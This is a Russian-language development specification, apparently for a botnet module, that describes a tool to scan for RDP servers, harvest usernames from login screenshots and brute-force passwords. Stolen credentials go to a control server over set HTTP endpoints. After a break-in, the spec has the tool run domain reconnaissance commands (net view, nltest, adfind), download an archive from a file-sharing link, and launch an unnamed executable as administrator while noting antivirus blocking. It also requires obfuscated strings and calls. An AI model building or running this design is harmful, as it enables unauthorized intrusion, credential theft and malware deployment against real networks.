You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
286 lines
14 KiB
286 lines
14 KiB
СКАНЕР RDP ДОСТУПА
|
|
ТЕХНИЧЕСКОЕ ЗАДАНИЕ
|
|
|
|
ЦЕЛЬ
|
|
|
|
Необходимо написать модуль сканера и брут-форма доступа по протоколу RDP. Модуль должен быть оформлен в соответствии с правилами, приведенными в документе modules_HOWTO.
|
|
|
|
|
|
РЕАЛИЗАЦИЯ
|
|
|
|
Модуль состоит из сканера, детектора имени, и подмодуля брут-форса.
|
|
|
|
У сканера есть два режима:
|
|
1) режим брут-форса
|
|
2) режим проверки
|
|
|
|
В режиме брут-форса сканер самостоятельно ищет сервера с открытым портом RDP, определяет имена пользователей и подбирает к ним пароли.
|
|
Результат работы - список адресов, имен и паролей.
|
|
В режиме проверки сканер работает по уже известному списку адресов серверов, имен и паролей. В этом режиме проверяется
|
|
актуальность списка, а также окружение и возможности сервера.
|
|
|
|
В режиме брут-форса:
|
|
Сканер делает перебор доменов и портов, используя получаемый извне список доменов для работы.
|
|
Результат работы сканера - это список адресов и портов, которые точно определены как сервис RDP.
|
|
Детектор имени получает на вход адрес:порт сервиса RDP. Резульат работы детектора - список имен пользователей данного RDP в текстовом виде.
|
|
Модуль брута получает на вход адрес:порт, список имен пользователей для данного адреса, и словари. Результат работы модуля брута - список подобранных паролей.
|
|
|
|
В режиме try-brute:
|
|
То же, что brute, но используется словарь имен пользователей.
|
|
|
|
В режиме NOP (холостой ход) сканер ничего не делает, только ожидает новых настроек.
|
|
Назначение режима холостого хода:
|
|
- аварийный останов сети, например если обнаружились неверные настройки или неверное поведение сканера
|
|
- пауза для того, чтобы можно было выставить настройки, без немедленного их запуска на выполнение.
|
|
|
|
Сканер взаимодействует с управляющим сервером для получения от него настроек, словарей, доменов для проверки итд.
|
|
|
|
Получить режим работы можно HTTP-запросом на сервер
|
|
|
|
GET /<group>/<clientid>/rdp/mode HTTP/1.1
|
|
|
|
В теле HTTP-ответа модуль ожидает строку brute, check, trybrute или nop.
|
|
Любое другое значение некорректно - в таком случае модуль делает повторные запросы
|
|
каждые 5 минут; до получения корректного ответа работа модуля не начинается.
|
|
Изменение режима возможно только с NOP и на NOP. Переход, к примеру, brute -> check невозможен.
|
|
В этом случае сканер переходит в режим NOP и отправляет на сервер сообщение об ошибке.
|
|
|
|
В случае работы в режиме NOP, сканер каждые 10 минут делает запрос режима и настроек.
|
|
|
|
Админка сканеров автоматически переводит режим в NOP при отработке 100% чанков всеми ботами (и только в этом случае - когда нету сомнений в завершении работы).
|
|
|
|
|
|
СКАНЕР
|
|
|
|
Сканер получает список доменов для проверки HTTP-запросом на сервер
|
|
|
|
GET /<group>/<clientid>/rdp/domains HTTP/1.1
|
|
Значения group и clientid - это поля struct ParentInfo
|
|
CHAR ParentID[256];
|
|
CHAR ParentGroup[64];
|
|
(см. module_HOWTO)
|
|
|
|
В режиме брута формат ответа:
|
|
адрес1:порт[\r]\n
|
|
адрес2:порт[\r]\n
|
|
...
|
|
(одна или множество записей)
|
|
|
|
В режиме проверки формат ответа
|
|
ip:port@username:password[\r]\n
|
|
...
|
|
(одна или множество записей)
|
|
|
|
Полное сканирование портов делать не следует, берем только стандартные порты RDP +-10 портов вверх-вниз.
|
|
|
|
Адрес:порт выдается на выход сканера только в том случае, если удается соединиться с данным портом и есть признак того, что это RDP-соединение.
|
|
|
|
При завершении перебора по выданному списку мы даем знать об этом серверу:
|
|
|
|
GET /<group>/<clientid>/rdp/over HTTP/1.1
|
|
|
|
Ответ сервера - такой же, как на запрос /domains - новый список доменов для работы.
|
|
При неожиданном ответе (пустой список, код ошибки итд) модуль переходит на холостой ход (сканирование остановлено)
|
|
и делает тот же самый запрос раз в 10 минут (время - в константу).
|
|
|
|
Старые версии сканера не поддерживали правила словарей. Чтобы отличить старую версию сканера от новой,
|
|
новая версия сканера во все GET-запросы добавляет HTTP-заголовок
|
|
|
|
fmode: 1
|
|
|
|
|
|
ОПРЕДЕЛЕНИЕ ИМЕНИ ПОЛЬЗОВАТЕЛЯ RDP
|
|
|
|
При успешном соединении, модуль делает скриншот списка пользователей RDP.
|
|
Далее софт распознает скрин и форматирует в текст.
|
|
Сформатированный текст редактирует под формат ip:port@username.
|
|
Если несколько пользователей на одном ip, то выводит в список наподобие:
|
|
147.126.54.43:3900@username1
|
|
147.126.54.43:3900@username2
|
|
147.126.54.43:3900@username3
|
|
147.126.54.43:3900@username4
|
|
и передает на вход брут-форсера.
|
|
|
|
|
|
БРУТ RDP
|
|
|
|
Словарь для перебора получаем HTTP-запросом к управляющему серверу:
|
|
GET /<group>/<clientid>/rdp/dict HTTP/1.1
|
|
|
|
В ответ нам приходит словарь либо как text/plain, либо application/gzip (смотрим на заголовок ответа Content-Type)
|
|
Если упаковка в gzip, то после распаковки мы ожидаем такой же формат словаря, как для простого текста:
|
|
- одно слово на строку, разделитель строк может быть \n или \r\n.
|
|
|
|
Словарь паролей поддерживает шаблоны паролей (т.е. возможность подставить макрос из текущего контекста работы).
|
|
Примеры макросов и правил:
|
|
%EmptyPass% // empty password.
|
|
%GetHost% // get host name from dns server. Slow speed!
|
|
%IP% // get ip (example: 192.168.0.1 = 192.168.0.1)
|
|
%Port% // get port (example: 192.168.0.1:3389 = 3389)
|
|
и так далее - всего имеется несколько десятков правил. Подробное описание правил шаблонов приведено в документации к модулю.
|
|
|
|
При разработке брута нужно соблюсти следующий компромисс:
|
|
- число потоков подбора должно быть максимально для данного компьютера (см. thread_concurrency в STL)
|
|
- потоки не должны мешать интерактивным задачам, т.е. должны как минимум иметь пониженный приоритет (см. SetThreadPriority())
|
|
- поток не должен долбить в один и тот же адрес постоянно. Вместо того, чтобы перебирать словарь по одной комбинации адрес:порт:юзер,
|
|
лучше взять список из 100 адресов и перебирать их по очереди, чтобы был баланс между интервалом между запросами на один и тот же хост,
|
|
и КПД софта
|
|
- в то же время, размер списка хостов для перебора для каждого потока должен быть не слишком большим, дабы не был заметен сетевой трафик
|
|
на не связанные между собою узлы
|
|
- в то же время, чем выше случайность, тем лучше - никогда не повторять один и тот же хост может быть выгодней, чем работать по одному и тому
|
|
же хосту.
|
|
|
|
Все размерности интервалов, таймаутов, размеров пачки адресов для перебора итд должны быть вынесены в глобальный файл config.h в виде констант.
|
|
|
|
Этот баланс нужно выяснить экспериментально; исходим от самой наивной реализации и далее усложняем.
|
|
|
|
В режиме сканирования на сервер в качестве результата отправляются только адреса, к которым удалось подобрать пароль.
|
|
В режиме проверки отправляются все адреса из входного списка, которым присваивается тег и проставляются доп.поля.
|
|
Отправка делается по протоколу DPOST (см. "ТЗ граб паролей DPOST" для описания протокола) запросом
|
|
|
|
POST /<group>/<clientid>/rdp/81 HTTP/1.1
|
|
|
|
Данные отправляются в контейнере multipart/form-data с полями source и data.
|
|
Значение поля source - "RDP Passwords"
|
|
Значение поля data: простой текст, разделитель строк \r\n
|
|
Формат записи:
|
|
|
|
rdp|<address>:<port>|<username>|<password>|<tag>|<field1=value>|<field2=value>|...\r\n
|
|
...
|
|
(одна или множество записей)
|
|
|
|
Здесь поля address:port, username, password определяются в результате сканирования,
|
|
а поля tag и field1... - в результате пост-проверки (см.ниже).
|
|
Поля field1=value записываются в виде ключ=значение, например
|
|
...|subnet=192.168.1.255|netmask=255.255.255.0|итд...
|
|
Такой формат позволяет передавать произвольные поля, не слишком меняя парсер и обратную совместимость.
|
|
|
|
Частоту отправки намайненных данных можно получить с управляющего сервера HTTP-запросом
|
|
GET /<group>/<clientid>/rdp/freq HTTP/1.1
|
|
|
|
В теле ответа мы ожидаем число - это число секунд, не чаще которого следует отправлять данные.
|
|
Если это 0 - отправка сразу по готовности (для режима скана - как только найден новый пароль;
|
|
для режима проверки - как только обработан следующий адрес из списка)
|
|
Если это положительное число - мы накапливаем записи в буфере и отправляем раз в X секунд,
|
|
очищая буфер при успешной отправке.
|
|
|
|
|
|
СОБЫТИЯ
|
|
|
|
Модуль должен отправлять следующие события через callback (см. "module_HOWTO"):
|
|
- RDP scanner build %date% %time% started
|
|
- %d addresses tried, %d RDP hosts detected, %d passwords found - периодически раз в полчаса (таймаут задается константой в config.h)
|
|
- RDP password found: %addr%:%port%:%username%:%password% - при нахождении пароля
|
|
|
|
|
|
КОНФИГИ
|
|
|
|
Конфиги передаются в модуль через вызов Control(). Название конфига - это строка в аргументе Ctl, тело конфига - аргумент CtlArg,
|
|
длина конфига - CtlArgLen (см. "module_HOWTO")
|
|
|
|
Модуль получает единственный конфиг с именем srv, содержащий список адресов управляющего сервера,
|
|
разделенных \r\n или \n, в формате адрес:порт.
|
|
Если порт четный, работа идет по HTTP, если нечетный - HTTPS.
|
|
Если указан префикс протокола (http/https), префикс имеет приоритет над указанным портом.
|
|
Модуль работает с тем управляющим сервером, до которого удалось достучаться первым, по каждому запросу.
|
|
|
|
|
|
ПОЛУЧЕНИЕ ИНФОРМАЦИИ О ХОСТЕ
|
|
|
|
Нужно предусмотреть автоматическое получение информации о хосте, как в режиме брута после подбора пароля,
|
|
так и в режиме проверки.
|
|
На каждый подобранный пароль, софт устанавливает соединение, определяет локацию, права пользования,
|
|
операционную систему.
|
|
|
|
<УСТАРЕЛО>
|
|
//Открывает CMD, вводит команду: 1 - net view, если ответ
|
|
//о системной ошибке, данный хост отмечается как no network, если ответ с списком
|
|
//компьютеров, то вводится команда 2 - net group "Domain Computers" /DOMAIN,
|
|
//если ответ о системной ошибке, данный хост отмечается как not in domain,
|
|
//если положительный ответ, то вводится команда 3 - nltest /domain_trusts /all_trusts,
|
|
//если есть инфа с доменами, то скачивается https://www.sendspace.com/file/172iky,
|
|
//распаковывается, запускается файл с форматом .bat, bp появившегося результат
|
|
//в той же папке находит файл subnet, копирует с него информацию, и вставляет
|
|
//в комментарий этого хоста, при этом этот хост помечается как in domain.
|
|
//Все эти пометки и дополнительную информацию следует передавать в расширенных полях при передаче данных по DPOST.
|
|
</УСТАРЕЛО>
|
|
|
|
Далее идет цитата требований заказчика, без изменений - ниже мои комментарии и пояснения:
|
|
|
|
1) Загружается список ip:port@username:password автоматом с результата брута
|
|
|
|
2) Софт устанавливает соединение.
|
|
|
|
Те, с которыми не смог установить соединение определяет причину (закрыт доступ или просто сервер в off).
|
|
Если сервер закрыт для доступа, не подошел пароль или имя пользователя, то убирает в раздел BAD RDP.
|
|
Если сервер просто находится в off, то убирает в раздел OFF RDP.
|
|
Если коннект установлен, определяет локацию, права пользования, операционную систему, имя компьютера, вносит в раздел ONLINE RDP.
|
|
раздел ONLINE RDP делится на две вкладки IN DOMAIN и NOT DOMAIN
|
|
в разделе IN DOMAIN есть такие ячейки: subnets, ad_users, ad_computers, ad_ous, ad_group, trustdmp, domainlist
|
|
|
|
3) в cmd вводит команду whoami/upn.
|
|
|
|
если ответ "имя пользователя"/"домен" - то рдп попадает в вкладку ON DOMAIN. "домен" записывает в ячейку domainlist
|
|
если ответ error, то рдп размещыется в вкладку NOT DOMAIN
|
|
|
|
4) берет рдп с раздела ON DOMAIN и туда скачивает файлы adf.bat, adfind.exe и XXX.exe в архиве, далее распаковываем
|
|
|
|
5) запускает файл adf.bat.
|
|
|
|
создаются текстовые файлы с именами: subnets, ad_users, ad_computers, ad_ous, ad_group, trustdmp, domainlist
|
|
из текстовых файлов subnets, ad_users, ad_computers, ad_ous, ad_group, trustdmp берем последнюю строку с количеством объектов (Objects returned) и количество их записывается по соответствию "имя txt файла=имя ячейки"
|
|
из txt файла domainlist все домены записываем в ячейку domainlist
|
|
|
|
6) запускаем XXX.exe от имени администратора.
|
|
|
|
если не отрабатывает файл от имени администратора, то запускаем простым методом.
|
|
в админке отмечается от каких прав запущен XXX.exe
|
|
если файл не возможно запустить по причине блокирования или АВ режет или вообще при распаковке АВ удалил XXX.exe, то все это отражается комментарием в админке
|
|
|
|
7) Далее берутся рдп с раздела NOT DOMAIN
|
|
|
|
скачивается архив с файлом XXX.exe, распаковывается
|
|
запускаем XXX.exe от имени администратора
|
|
если не отрабатывает файл от имени администратора, то запускаем простым методом.
|
|
в админке отмечается от каких прав запущен XXX.exe
|
|
если файл не возможно запустить по причине блокирования или АВ режет или вообще при распаковке АВ удалил XXX.exe, то все это отражается комментарием в админке
|
|
|
|
То есть, мы запускаем команды (часть встроено в ОС, часть нужно скачать из сети - команду adfind), анализируем ответы,
|
|
и проставляем поля tag (их на данный момент 4: bad rdp, off rdp, online rdp in domain, online rdp not in domain) и доп.поля,
|
|
полученные из запускаемых команд.
|
|
В режиме брута - для каждого подобранного пароля.
|
|
В режиме проверки - для каждого хоста из списка сканирования.
|
|
|
|
|
|
ОФОРМЛЕНИЕ
|
|
|
|
Следует внимательно читать "module_HOWTO" и внимательно относится к указанным там требованиям по использованию библиотек,
|
|
запретам, мерам по обфускации строк, системных вызовов, логированию, формату сборок итд.
|
|
|
|
|
|
ИНТЕРФЕЙС ПОЛЬЗОВАТЕЛЯ
|
|
|
|
Один и тот же модуль будет использоваться и как .dll, и как интерактивный софт с GUI.
|
|
При этом вся логика должна быть спрятана внутри rdp.dll, а интерфейс должен быть внешней (отдельной) программой,
|
|
использующей функции rdp.dll.
|
|
Напоминаю, что rpp.dll - это модуль, экспортирующий 4 функции Start, Control, FreeBuffer, Release, и все взаимодействие
|
|
с внешним миром происходит только через них.
|
|
Соответственно, конфиги модуль получает через вызовы Control, настройки, словари, список для сканирования
|
|
модуль получает с HTTP-сервера (который нужно организовать в GUI);
|
|
GUI получает обратную связь от модуля (сообщения о событиях) - через вызовы callback (см.описание функции Start).
|
|
|
|
В GUI должно быть предусмотрено:
|
|
- задание каждого конфига
|
|
- переключение режима (check/brute)
|
|
- старт и стоп работы в текущем режиме.
|
|
|
|
Допустим как неинтерактивный режим (консольная программа с управлением через командную строку - но тогда управление должно быть исчерпывающим),
|
|
так и оконная - тут допустим как WinAPI, так и QT. Программу можно запилить на C# для простоты разработки.
|
|
|
|
Организовать взаимодействие GUI с модулем можно так:
|
|
- задаем адрес управляющего сервера - 127.0.0.1:порт GUI
|
|
- запускаем управляющий сервер в GUI, который умеет отвечать на запросы конфигов и принимать найденные пароли
|
|
- выдаем в модуль адрес своего callback, для получения событий из модуля
|
|
- далее весь ввод пользователя и его действия мы преобразуем в конфиги, которые будем отдавать модулю
|
|
- конфиги должны формироваться перед выдачей Start(); во время работы должны блокироваться все настройки GUI, кроме кнопки СТОП
|
|
- раскладывать проверенные записи по спискам (bad rdp, off rdp итд) нужно на основании поля tag.
|